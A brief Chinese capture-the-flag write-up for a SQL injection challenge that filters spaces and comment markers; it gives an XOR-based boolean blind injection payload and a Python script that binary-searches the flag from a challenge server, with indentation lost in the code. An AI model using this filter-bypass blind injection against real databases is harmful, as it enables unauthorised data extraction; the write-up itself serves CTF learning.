这道题过滤了常用的语句,还过滤了空格和/**/,一番分析之下发现果然我这种菜鸡只能看wp了。
然后学会了一种新的思路
0^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'))
脚本:
import requests
import time
url='http://76eeac1c-8521-4f23-83f5-9e41b5f7b2d4.node3.buuoj.cn'
result=''
for x in range(1,50):
high=127
low=32
mid=(high+low)//2
while high>low:
payload="0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(x,mid)
data={"id":payload}
html=requests.post(url,data=data).text
#time.sleep(0.5)
if "Hello" in html:
low=mid+1
else:
high=mid
mid=(low+high)//2
result+=chr(int(mid))
print(result)
print("flag:",result)